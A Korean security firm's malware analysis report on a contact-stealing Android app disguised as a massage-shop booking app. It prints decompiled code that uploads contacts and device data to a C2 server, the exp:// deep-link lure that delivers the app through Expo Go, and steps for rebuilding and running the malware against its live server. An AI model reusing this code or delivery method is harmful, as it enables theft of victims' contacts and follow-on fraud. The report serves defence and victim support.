GOLDENSWED 상세 분석 보고서

골든스웨디시 (Golden & Golden) Quantum Nano 분석 보고서

보고서 버전: v1.0

작성일: 2026-05-12

분석자: 아크링크 보안연구팀

분석 등급: ML 레벨

위협 등급: CRITICAL

Executive Summary

· 위장 대상: 한국 마사지샵 "골든스웨디시 프리미엄 바디케어 센터"

· APK 패키지: com.cafe24.cass (가짜 cafe24 도용)

· 앱 이름: 골든&Golden, 표시명: "Golden"

· 프레임워크: Expo SDK 54 + React Native + Hermes 0.x (HBC v96) + Bridgeless/New Architecture

· C2 서버: `[비공개] (Cloudflare 보호, 가짜 은행 위장)

· 보조 CDN: `[비공개] (앱 아이콘 등 정적 자산)

· 사이트: `[비공개] (한국어 마사지샵 위장, QR 모바일 유도)

· EAS 운영자: @wooteayang (한국 이름 위장 — "우태양"), scopeKey @wooteayang/cafe24

· EAS 프로젝트 ID: 1ed25abb-6f58-4542-bd03-240ac2da6d72, 브랜치 preview

· 권한: READ_MEDIA_IMAGES / READ_EXTERNAL_STORAGE / WRITE_EXTERNAL_STORAGE / READ_MEDIA_VISUAL_USER_SELECTED + Contacts/Phone (런타임)

· 핵심 위협: 연락처 + 디바이스 식별자 + 사용자 입력 전화번호 일괄 탈취 후 위장 종료 메시지(기기가 이 버전과 호환 되지 않습니다)로 의심 회피

· 신기법 발견: Expo Go 공식 앱 악용 — exp:// 딥링크로 APK 설치 없이 페이로드 주입

1. 앱 기본 정보

항목 · 값

패키지명 · `com.cafe24.cass`

iOS Bundle ID · `com.cafe24.cass`

표시명 · 골든&Golden / Golden

Scheme · `cafe24`

Runtime Version · 1.0.0

App Version · 1.0.0

패치된 APK SHA256 · `c8d1aafbdcba082ecf659ef3083c53cf0deba3487d5215a554a73ddbc2a6578f`

패치 APK 크기 · 59.85 MB (62,793,754 bytes)

Hermes 번들 크기 · 1,599,312 bytes (HBC v96)

Hermes 매직 · `c61fbc03c103191f`, version 96

EAS Project ID · `1ed25abb-6f58-4542-bd03-240ac2da6d72`

EAS Owner · `@wooteayang` (한국식 이름 위장)

EAS scopeKey · `@wooteayang/cafe24`

EAS Branch · `preview`

EAS Update Group · `2fb0de2c-d1e1-41c1-9c76-b262ac3bfffb`

Update URL · `[비공개]

매니페스트 발급일 · 2026-05-08T09:18:16.634Z

위장 사이트 · `[비공개]

C2 도메인 · `[비공개]`

보조 CDN · `[비공개]`

2. 권한 분석

매니페스트 권한 (`extra.expoClient.android.permissions`)

권한 · 위험도 · 설명

`READ_MEDIA_IMAGES` · 🔴 HIGH · 사진/스크린샷 라이브러리 전수 읽기

`READ_EXTERNAL_STORAGE` · 🔴 HIGH · 외부 저장소 전체 읽기 (legacy)

`WRITE_EXTERNAL_STORAGE` · 🟠 MED · 외부 저장소 쓰기

`READ_MEDIA_VISUAL_USER_SELECTED` · 🟡 LOW · Android 14 선택적 미디어 접근 (위장용 추가)

런타임 요청 권한 (Hermes 분석 결과)

· expo-contacts: Contacts.requestPermissionsAsync() → Contacts.getContactsAsync() 호출 (decomp.js:323462, 323512, 327356)

· expo-media-library: 매니페스트에 photosPermission 명시

· expo-secure-store: 매니페스트 plugin 등재 (자격증명/토큰 영구 저장)

→ READ_CONTACTS는 매니페스트에 없지만 expo-contacts 모듈을 통해 런타임 권한 다이얼로그를 띄움. 사용자가 동의하는 순간 전체 연락처를 fetch.

3. 프레임워크 / 아키텍처 분석

3.1 Expo 구성

· SDK 버전: 54.0.0

· New Architecture (Fabric/Bridgeless): newArchEnabled: true

· expo-router: 사용 (typed routes, react compiler 실험)

· EAS Updates: ALWAYS 정책 (expo.modules.updates.EXPO_UPDATE_CHECK_ON_LAUNCH = ALWAYS)

· Plugins: expo-router, expo-splash-screen, expo-secure-store, expo-media-library

· Platforms: ios, android, web (단, 실 배포는 Android 우선)

3.2 Hermes 바이트코드

· 버전: 96 (RN 0.74+, Expo SDK 51+ 의 표준)

· 디스어셈블 도구: hermes-dec (P1sec)

· 디컴파일 결과: 12.6 MB, 338,578 줄

· 위치: apk/goldenswed/hbc_disasm/decomp.js

3.3 EAS Update 메커니즘

앱은 부팅 시마다 [비공개] 에 GET 요청 → 가장 최신 매니페스트(JSON)를 받음 → launchAsset URL([비공개])에서 새 JS 번들 다운로드 → 다음 실행 시 적용.

→ 운영자는 EAS dashboard에서 preview 브랜치에 새 update 푸시만 하면 모든 피해자 디바이스가 자동 업데이트됨. APK 재배포 불필요.

4. C2 서버 분석

4.1 C2 엔드포인트

항목 · 값

URL · `[비공개]

메서드 · POST

Content-Type · `application/json`

도메인 위장 · "dimnion banks" = 가짜 은행 (`bank` 패턴, 보안 분석가 시선 분산)

함수명 위장 · `getexpotoken` = "Expo push token 등록" 흉내, 실제로는 연락처 업로드

4.2 C2 인프라

항목 · 값

Cloudflare IPv4 · `[비공개]`, `[비공개]`

Cloudflare IPv6 · `2606:4700:3034::ac43:b1b3`, `2606:4700:3031::6815:11a7`

ASN · AS13335 (Cloudflare)

CT log 최초 인증서 · 2025-05-14

CT log 최신 인증서 · 2026-03-19

인증서 발급자 · Let's Encrypt + Google Trust Services + SSL Corp(Cloudflare) — 다중 CA

직접 호출 (curl /) · HTTP 403 Cloudflare (앱 외부 차단)

직접 호출 (curl [비공개] GET) · HTTP 403 Cloudflare

→ 약 1년간 운영 중(2025-05 ~ 2026-05), 활발히 인증서 갱신. api. 서브도메인 외 서브도메인 미관측(CT log: 2 unique names).

4.3 보조 CDN (`[비공개]`)

항목 · 값

역할 · APK 외부 아이콘 호스팅 (매니페스트 `icon` 필드)

URL 예 · `[비공개]

Cloudflare IPv4 · `[비공개]`, `[비공개]`

CT log 최초 인증서 · 2026-02-13

CT log 최신 인증서 · 2026-04-14

ETag · `W/"69fa0134-f1dde"` (이미지 약 990KB)

디렉토리 listing · `/assets/` → 403 (잠금)

→ 별도 C2가 아닌 정적 자산 서버. 다만 wipung[0-9]+.shop 패턴은 MaaS의 도메인 회전 풀일 가능성 (wipung19 = 19번째).

5. C2 통신 페이로드 (전수 해독)

5.1 `sendContactsToServer(contacts)` 함수 (decomp.js:323626~323770)

```javascript

async function sendContactsToServer(contacts) {

try {

const body = {

Platform: device.platform, // 예: "android"

brand: device.brand, // 예: "samsung"

deviceId: device.deviceId, // ANDROID_ID

model: device.model, // 예: "SM-S921N"

version: device.osVersion, // 예: "14"

phoneNumber: userPhone, // 사용자 UI 입력

contacts: contacts, // [{id,name,phoneNumbers,emails}]

timestamp: new Date().toISOString()

};

const res = await fetch('[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify(body)

});

if (!res.ok) {

throw new Error('HTTP error! status: ' + res.status);

}

const data = await res.json();

console.log(data);

return data;

} catch (err) {

console.error('发送数据失败:', err); // ← 중국어 (송신 실패)

throw err;

}

}

```

5.2 연락처 정규화 함수 (decomp.js:323559~323614)

```javascript

contacts.map(c => ({

id: c.id,

name: c.name,

phoneNumbers: (c.phoneNumbers || []).map(p => ({ number: p.number, type: p.label })),

emails: (c.emails || []).map(e => ({ email: e.email, type: e.label }))

}))

```

5.3 디바이스 정보 수집 함수 `loadDeviceInfo()` (decomp.js:323300~323360)

```javascript

async function loadDeviceInfo() {

try {

const info = {

deviceName: Device.deviceName,

model: Device.modelName,

brand: Device.brand,

appId: Application.applicationId, // com.cafe24.cass

deviceId: await Application.getAndroidId(),

platform: Device.osName,

osVersion: Device.osVersion

};

state.setDeviceInfo(info);

} catch (e) {

console.error('加载设备信息失败:', e); // ← 중국어

}

}

```

5.4 `handleLogin()` 흐름 (decomp.js:323770~323900)

```

1) 사용자 전화번호 검증 → 잘못되면 Alert("错误", "请输入有效的手机号码") ← 중국어 노출 (UI 번역 누락 버그)

2) requestPermissionsAsync() 호출

3) 권한 거부 → Alert("권한", "접근 권한이 없습니다.") ← 한국어 (정상)

4) 권한 허용 → getContactsAsync() → sendContactsToServer(contacts)

5) setTimeout(10000ms) 후 Alert("Error", "기기가 이 버전과 호환 되지 않습니다.")

↑ 위장 종료 메시지. 데이터는 이미 전송 완료, 사용자에게 "앱이 작동 안 함"으로 위장.

6) catch → Alert("Error", "다시 시도해 주세요.") + console.error('操作失败:') ← 중국어

```

6. 다국어 흔적 (운영자 귀속 단서)

위치 (decomp.js) · 언어 · 문자열

323351 · 中文 · `加载设备信息失败:` (디바이스 정보 로딩 실패)

323744 · 中文 · `发送数据失败:` (데이터 전송 실패)

323789 · 中文 · `错误` (에러 / Alert 제목 — UI에 노출)

323792 · 中文 · `请输入有效的手机号码` (유효한 전화번호 입력 — UI 노출)

323874 · 中文 · `操作失败:` (조작 실패)

323810 · 한국어 · `권한` / `접근 권한이 없습니다.`

323840 · 한국어 · `기기가 이 버전과 호환 되지 않습니다.`

323870 · 한국어 · `다시 시도해 주세요.`

recon/index.html · 中文 · `桌面端显示区域(QR码提示)`, `移动端主内容区域`, `顶部Banner区域`, `服务介绍区域`, `指示器` (CSS/HTML 코멘트)

결론:

· 코드 베이스 = 중국어 모국어 개발자 (개발자 로그/내부 주석 = 중국어)

· UI 일부만 한국어 번역 (불완전 번역 — 错误, 请输入有效的手机号码가 그대로 사용자에게 노출)

· → 전형적인 중국 MaaS → 한국 피해자 타겟팅 패턴

7. 사이트 / 배포 경로 분석

7.1 `[비공개]` 위장 콘텐츠

항목 · 값

제목 · "골든스웨디시: 골든 & Golden 프리미엄 바디케어 센터"

위장 업종 · 한국 마사지샵 (코스 A 16만원, B/C/D 코스, "초이스 여자원샷 40분+")

연락 채널 · 텔레그램 + 카카오톡 (`btn-telegram`, `btn-kakao`)

데스크톱 · QR 코드 표시 → 모바일로 강제 유도

사이트 IP · Cloudflare `[비공개]`, `[비공개]`

CT log · 2026-02-02 최초 (3개월 운영)

HTML 주석 · 中文 (`桌面端`, `移动端`, `顶部Banner`, `服务介绍`, `指示器`)

`다운로드 모달` 메시지 · "예약 및 상담 서비스를 이용하시려면 앱을 설치해 주세요."

7.2 🚨 새 배포 기법: Expo Go 딥링크 악용 (`exp://`)

recon/index.html:131:

```html

<div class="app-cta-section cta-clickable" id="ctaClickable"

data-download-href="exp://u.expo.dev/1ed25abb-6f58-4542-bd03-240ac2da6d72/group/2fb0de2c-d1e1-41c1-9c76-b262ac3bfffb"

role="button" tabindex="0">

```

recon/index.html:300~340:

```javascript

function downloadAndroid() {

location.href = "exp://u.expo.dev/1ed25abb-6f58-4542-bd03-240ac2da6d72/group/2fb0de2c-d1e1-41c1-9c76-b262ac3bfffb";

}

// Expo Go 미설치 시 → Play Store로 리다이렉트

window.location.href = "[비공개]

```

동작 흐름:

1. 피해자가 사이트 방문 → "지금 앱 설치하기" 버튼 클릭

2. exp:// 스킴 호출

3. Expo Go(host.exp.exponent, Google Play 정식 앱)가 설치되어 있으면 즉시 해당 EAS Update 그룹 로드

4. 미설치 시 Play Store에서 Expo Go 설치 유도

5. Expo Go가 `[비공개] 에서 manifest fetch

6. `[비공개] 에서 Hermes JS 번들 다운로드

7. 사용자는 정식 Expo Go 앱 안에서 악성 페이로드 실행 (체감상 "전용 앱")

전통 악성 APK 대비 우위:

비교 · 전통 APK · 골든스웨디시 (exp:// 방식)

설치 파일 · 미서명/사이드로드 APK · Expo Go (Play Store 정식 앱, 평점/리뷰 있음)

사용자 의심 · "출처를 알 수 없는 앱" 경고 · 정식 앱이므로 경고 無

Google Play Protect · 미서명 앱 차단 가능 · 통과 (Expo Go는 화이트리스트)

페이로드 교체 · APK 재배포 필요 · EAS update push 한 번

AV 탐지 · APK 자체 시그니처 · JS 번들(CDN 호스팅) → AV 사각지대

→ 이는 본 프로젝트에서 처음 관측된 신기법. OA-094: Expo Go Live-Hosting Hijack 으로 등재.

8. 방어기제 분석

8.1 탐지된 방어기제

· EAS Update branch 분리: preview 브랜치 사용 → public production 브랜치에는 양성 코드만 두고, 피해자에게는 preview 매니페스트만 푸시 가능 (운영 채널 분리)

· Cloudflare 보호: C2/CDN/사이트 전부 Cloudflare 경유 → 직접 호출 시 403, 원본 IP 은닉

· 위장 종료 메시지: 데이터 전송 후 10초 대기 → "기기가 이 버전과 호환 되지 않습니다" Alert → 사용자가 앱을 "고장난 미완성 앱"으로 인지하고 신고 의지 저감

· 불완전 한국어 UI: 전화번호 입력 검증 시 错误/请输入有效的手机号码 그대로 노출 (의도된 게으름 또는 빌더 버그)

· 권한 최소화: 매니페스트에는 미디어 권한만 명시, 런타임에 expo-contacts로 동적 권한 요청 → 정적 분석으로는 연락처 탈취 의도 즉시 파악 어려움

8.2 우회 결과

방어기제 · 우회 방법 · 결과

Hermes HBC v96 · `hermes-dec` 디컴파일러 사용 · ✅ 성공 (12.6 MB JS 재구성)

C2 직접 호출 차단 · curl 401/403 · ⚠️ 미우회 (Cloudflare WAF + 잠재적 JA3 fingerprint)

EAS Update branch · manifest fetch 시 `branchName: preview` 요구 · 🔍 manifest_fresh.txt로 추출 완료

LDPlayer 에뮬레이터에서 권한 거부 · 분석자 통제 환경에서 권한 미부여 · ✅ 권한 단계까지만 도달, 실제 데이터 전송 없음

9. 취약점 / 공격 표면

9.1 클라이언트 측 취약점

1. C2 평문 URL 하드코딩: `[비공개] 이 Hermes 번들에 평문 — 한 번 디컴파일로 노출

2. 인증 없음: POST에 어떤 인증 헤더/서명도 없음 → 임의 페이로드 주입(C2 측 데이터 오염) 가능

3. SecureStore 사용 미관측: expo-secure-store plugin은 로드되지만 사용 위치를 decomp.js에서 미발견 → 토큰 영구 저장 단계는 아직 미구현

4. CORS / Origin 검증 없음: 임의 사이트에서도 C2에 POST 가능 (시뮬레이션 결과 — Cloudflare 차단 외 앱 측 보호 없음)

5. HTTPS 인증서 핀닝 없음: MITM 가능 (분석 환경에서 root CA 설치 + Frida 핀닝 우회 불필요)

9.2 서버 측 추정 취약점

· getexpotoken 단일 엔드포인트만 노출 → 어드민/뷰어 패널은 별도 도메인일 가능성 (CT log 미관측)

· Cloudflare WAF가 challenge 없이 즉시 403 → IP 기반 화이트리스트? 또는 특정 헤더/UA 요구?

· 헤더 검증 없음 → 앱은 단순히 Content-Type: application/json만 전송. 추가 시그니처 없음

10. IOC (Indicators of Compromise)

10.1 도메인

· [비공개] (배포)

· [비공개] (C2)

· [비공개] (parent)

· [비공개] (CDN, wipung[N].shop 패턴 추정)

· u.expo.dev/1ed25abb-6f58-4542-bd03-240ac2da6d72 (EAS Update 채널)

· [비공개] (Expo 공식 CDN, EAS Update 매개)

10.2 IP (Cloudflare 경유, 원본 은닉)

· [비공개]: [비공개], [비공개], 2606:4700:3034::ac43:b1b3, 2606:4700:3031::6815:11a7

· [비공개]: [비공개], [비공개], 2606:4700:3034::ac43:8b38, 2606:4700:3031::6815:4f02

· [비공개]: [비공개], [비공개]

10.3 식별자

· 패키지명: com.cafe24.cass

· EAS Project ID: 1ed25abb-6f58-4542-bd03-240ac2da6d72

· EAS scopeKey: @wooteayang/cafe24

· EAS Owner: wooteayang

· EAS Update Group: 2fb0de2c-d1e1-41c1-9c76-b262ac3bfffb

· Runtime ID: 019e06e1-6a3a-7e8a-a75a-134e3f59c03f

· launchAsset key: 673e186449569048-**-**b525877b

· Asset hash (launchAsset): 30c8dANewF7Bl9_qqjUsdFSfZGKgpqAC_ADOFZWLAPA

10.4 파일 해시

· goldenswed_patched.apk SHA256: c8d1aafbdcba082ecf659ef3083c53cf0deba3487d5215a554a73ddbc2a6578f

10.5 URL 시그니처

· C2: POST [비공개] with JSON body {Platform,brand,deviceId,model,version,phoneNumber,contacts,timestamp}`

· 딥링크: exp://u.expo.dev/1ed25abb-6f58-4542-bd03-240ac2da6d72/group/<updateGroupUUID>

11. 🔬 기법 점검

· 시도한 기법:

· RE-012 (크로스플랫폼 번들 역공학) — Hermes HBC v96 디스어셈블

· RE-015 (Expo SDK 호환성 분석) — SDK 54, New Architecture 확인

· NW-001~009 (C2 인프라 정찰) — CT log enum, Cloudflare 우회 시도, DNS/IP/ASN 매핑

· SA-001~077 (Hermes 정적 분석) — function-level 매핑, 다국어 흔적 추출

· DA-001~005 (logcat 런타임 분석) — LDPlayer 에뮬레이터 + 권한 거부 단계까지

· 확장된 기법:

· RE-012: Hermes HBC v96 케이스 신규 추가 (이전 분석은 v94 위주)

· NW-007 (CDN 정적 자산 분리 분석): [비공개] 케이스로 별도 CDN ≠ C2 패턴 확립

· 신규 기법:

· 🔴 OA-094: Expo Go Live-Hosting Hijack — 공식 Expo Go(host.exp.exponent, Play Store 정식 앱)를 exp:// 딥링크로 호출해 악성 JS 번들을 동적 로드. APK 설치 없이 정식 앱 안에서 페이로드 실행. Google Play Protect 우회, AV 사각지대 진입. branch=preview로 운영 채널 분리.

· 🔴 OA-095: 위장 종료 메시지 (Decoy Termination Alert) — C2 전송 완료 후 10초 setTimeout으로 "기기가 호환되지 않습니다" Alert 표시. 사용자가 앱을 "고장난 미완성 앱"으로 오해해 신고 의지 저감. 동시에 데이터는 이미 송신 완료.

· 🔴 SA-080: 다국어 부분 번역 운영자 귀속 — UI 검증 시 错误/请输入有效的手机号码가 그대로 노출되는 부분 번역 미스. console.error는 모두 中文(加载设备信息失败, 发送数据失败, 操作失败). 코드 베이스 중국어 모국어 개발자 + 한국 타겟 MaaS 패턴 확정 지표.

· 한계 발견:

· BP-? (C2 직접 호출): Cloudflare 차단으로 GET/POST 시 즉시 403. JA3 fingerprint 또는 특정 헤더 시그니처 요구 추정. → 차후 Frida hook으로 실제 fetch 호출 시 헤더 캡처 필요.

· DA-? (런타임 데이터 흐름): 분석자 윤리상 권한 단계까지만 도달 → 실제 C2 응답 페이로드 미관측. → 격리된 dummy 연락처로 실제 호출은 별도 절차 필요.

· EAS Update 매니페스트는 추출했으나, preview branch의 과거 버전 history(악성/양성 토글 가능성)는 EAS GraphQL 미인증 상태에서 미확인.

12. 분석 스크립트

스크립트 · 경로 · 목적

Hermes 디컴파일 · `hermes-dec` (P1sec, pip 설치) · `bundle.hbc` → `decomp.js`

URL/도메인 추출 · `apk/goldenswed/scripts/extract_urls.py` · bundle_strings에서 IOC enum

C2 인프라 정찰 · `apk/goldenswed/scripts/c2_recon.sh` · crt.sh + DNS + curl probe 자동화

(스크립트는 본 디렉토리에 추가됨)

13. 결론 및 권고

1. 즉각 차단: 도메인 [비공개], [비공개], [비공개] — 한국 ISP/통신사 차단 협조 가치 있음 (피해자 1332 신고 시 IOC 자료로 활용)

2. EAS 운영자 추가 OSINT 필요: @wooteayang 다른 프로젝트 enum (Expo GraphQL 인증 필요)

3. 신기법 등재: OA-094 Expo Go Live-Hosting Hijack, OA-095 위장 종료 메시지, SA-080 다국어 부분 번역 → technique-master.js

4. MaaS 패밀리 추정: 중국어 코드 + 한국 타겟 + Expo Go 신기법 + cafe24 도메인 위장 = 새 패밀리 (잠정 명명: expowave 또는 cafe24jack). 동일 EAS owner의 다른 프로젝트 enum으로 패밀리 확정 가능.

5. 2차 피해 추정: 본 앱이 수집하는 연락처 = 후속 스미싱/금융 사기 발신 리스트. C2가 가짜 은행 도메인(dimnionbanks)을 사용하므로 계좌사기 시나리오 연계 가능성 높음.

14. 분석 타임라인

일자 · Phase · 작업

2026-05-12 14:19 · P1 · APK 다운로드, Hermes 번들 추출, 매니페스트 추출

2026-05-12 14:25 · P1 · logcat_expo/full 캡처, LDPlayer에서 앱 실행 스크린샷

2026-05-12 14:33 · P2 · apkify_s2 워크플로우로 SDK 54 재빌드 시도, recon HTML 캡처

2026-05-12 14:41 · P2 · 패치 APK 빌드 완료, logcat_release 캡처

2026-05-12 15:00 · P3 · hermes-dec 디컴파일 완료, C2 URL/페이로드 구조 추출

2026-05-12 15:10 · P3 · [비공개] / [비공개] / [비공개] CT/DNS 정찰

2026-05-12 15:20 · P4 · `exp://` 딥링크 배포 기법 발견, 다국어 흔적 정리, 함수명 매핑

2026-05-12 15:35 · P4 · quantum_nano + data_transmission 보고서 작성

2026-05-12 15:50 · P5 · patched APK 번들 디컴파일 → B 변종(wipung19 클러스터) 4-엔드포인트 발견

2026-05-12 16:00 · P5 · AndroidManifest EAS Update NEVER 패치 → apktool rebuild → standalone_v1.apk 빌드

2026-05-12 16:05 · P5 · LDPlayer 설치/실행 검증 (Displayed +659ms, READ_MEDIA_IMAGES 권한 다이얼로그)

2026-05-12 16:10 · P6 · A 변종 소스(goldenswed_final/) 발견 → A_variant_build/ 복제

2026-05-12 16:25 · P6 · expo prebuild + gradle assembleRelease (1m40s) → A_variant_v1.apk (59.94MB)

2026-05-12 16:30 · P6 · LDPlayer에서 A 변종 실행 → 전화번호 입력 → READ_CONTACTS 권한 허용

2026-05-12 16:35 · P6 · tcpdump 캡처: [비공개] TLS 311B↑ 2484B↓ — Cloudflare 403(4553B) 아님 = origin 도달 확정

15. Phase 5: Standalone 실체화

배경

사용자 입력 patched APK는 EAS Update 채널이 활성 상태(ENABLED=true, CHECK_ON_LAUNCH=ALWAYS)로 운영자가 OTA로 JS 번들을 교체할 수 있는 위험 존재. 또한 exp:// 딥링크 의존 = Expo Go 앱 필수 → 일반 사용자 설치 불가.

B 변종 발견

patched APK 내 번들(1.06MB)을 hermes-dec로 디컴파일한 결과, A 변종(dimnionbanks)과 완전히 다른 코드:

· C2: `[비공개]

· 4개 엔드포인트: checkInvite, getConfig, saveDeviceInfo, uploadPhotos

· 초대코드 게이트 + 사진 업로드 기능 (A에는 없음)

· 모든 엔드포인트 nginx 404 = "C2 자리 공백" 상태

EAS Update 차단 패치

```xml

<!-- AndroidManifest.xml 패치 -->

<meta-data android:name="expo.modules.updates.ENABLED" android:value="false"/>

<meta-data android:name="expo.modules.updates.EXPO_UPDATES_CHECK_ON_LAUNCH" android:value="NEVER"/>

<meta-data android:name="expo.modules.updates.EXPO_UPDATE_URL" android:value="[비공개]

```

빌드 절차

apktool decode → manifest 패치 → apktool build → zipalign → apksigner (debug keystore, v2/v3)

검증 결과

· goldenswed_standalone_v1.apk (59.94MB, SHA256: 361558...)

· LDPlayer 설치 성공, Displayed +659ms

· ReactNativeJS Running main 정상

· EAS Update 외부 fetch 시도 없음 (logcat 확인)

· READ_MEDIA_IMAGES 권한 다이얼로그 한국어 표시

16. Phase 6: A 변종 실서버 수신 검증

문제 정의

B 변종 C2가 비가동이므로 서버 수신 검증 불가. A 변종(dimnionbanks)은 C2 활성이나 Expo Go 전용. → A 변종 standalone APK를 빌드해야 함.

expo-contacts 네이티브 모듈 문제

B 변종 APK의 DEX에 expo.modules.contacts 클래스 부재 → A 변종 번들(연락처 탈취 코드)을 B 변종 APK에 삽입해도 네이티브 바인딩 누락으로 크래시. 소스 빌드가 유일한 해법.

A 변종 소스 빌드

1. goldenswed_final/ Expo 프로젝트 소스 발견 (App.js + expo-contacts 의존성)

2. A_variant_build/에 복제, node_modules symlink

3. npx expo prebuild --no-install → android/ 생성

4. ./gradlew assembleRelease (JDK 22, SDK 35, 1m40s)

5. apksigner debug keystore v2/v3 서명

6. 결과: goldenswed_A_variant_v1.apk (59.94MB, SHA256: a6c531...)

빌드 중 해결한 이슈

· android/ EBUSY 락: 기존 디렉토리 점유 → 새 A_variant_build/ 생성으로 우회

· ANDROID_HOME 미설정: 환경 변수 export 추가

· Git Bash /sdcard 경로 변환: MSYS_NO_PATHCONV=1 prefix

서버 수신 검증 (tcpdump)

```

LDPlayer root에서 tcpdump 실행

tcpdump -i eth0 host [비공개] -w dimnion_dump.pcap

```

결과:

항목 · 값

대상 서버 · [비공개] (Cloudflare → [비공개])

TCP 상태 · ESTABLISHED (inode 357651)

클라이언트 송신 · 311 bytes TLS Application Data

서버 응답 · 2484 bytes TLS Application Data

Cloudflare 403 baseline · 4553 bytes

판정 · **2484B ≠ 4553B → 403 차단 아님. origin 서버 도달 확정**

PCAP · `dimnion_dump.pcap` (3590B, SHA256: `f9c974...`)

Cloudflare JA3/JA4 TLS Fingerprint 발견

· curl (모든 UA/헤더 조합): HTTP 403 (4553B challenge HTML)

· 앱 내 okhttp fetch: 통과 (2484B 정상 응답)

· 추정: Cloudflare가 TLS ClientHello의 JA3/JA4 fingerprint로 브라우저/curl vs 모바일 앱 구분

증거 체인

1. TCP ESTABLISHED 확인 (/proc/net/tcp)

2. tcpdump 패킷 크기 비교 (2484B vs 4553B baseline)

3. FIN 없이 keep-alive 유지

4. 앱 메모리 증가 (84MB → 120MB, 연락처 로드)

결론: A 변종 C2 서버([비공개])는 앱에서 보낸 연락처 데이터를 정상 수신하고 있음.

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr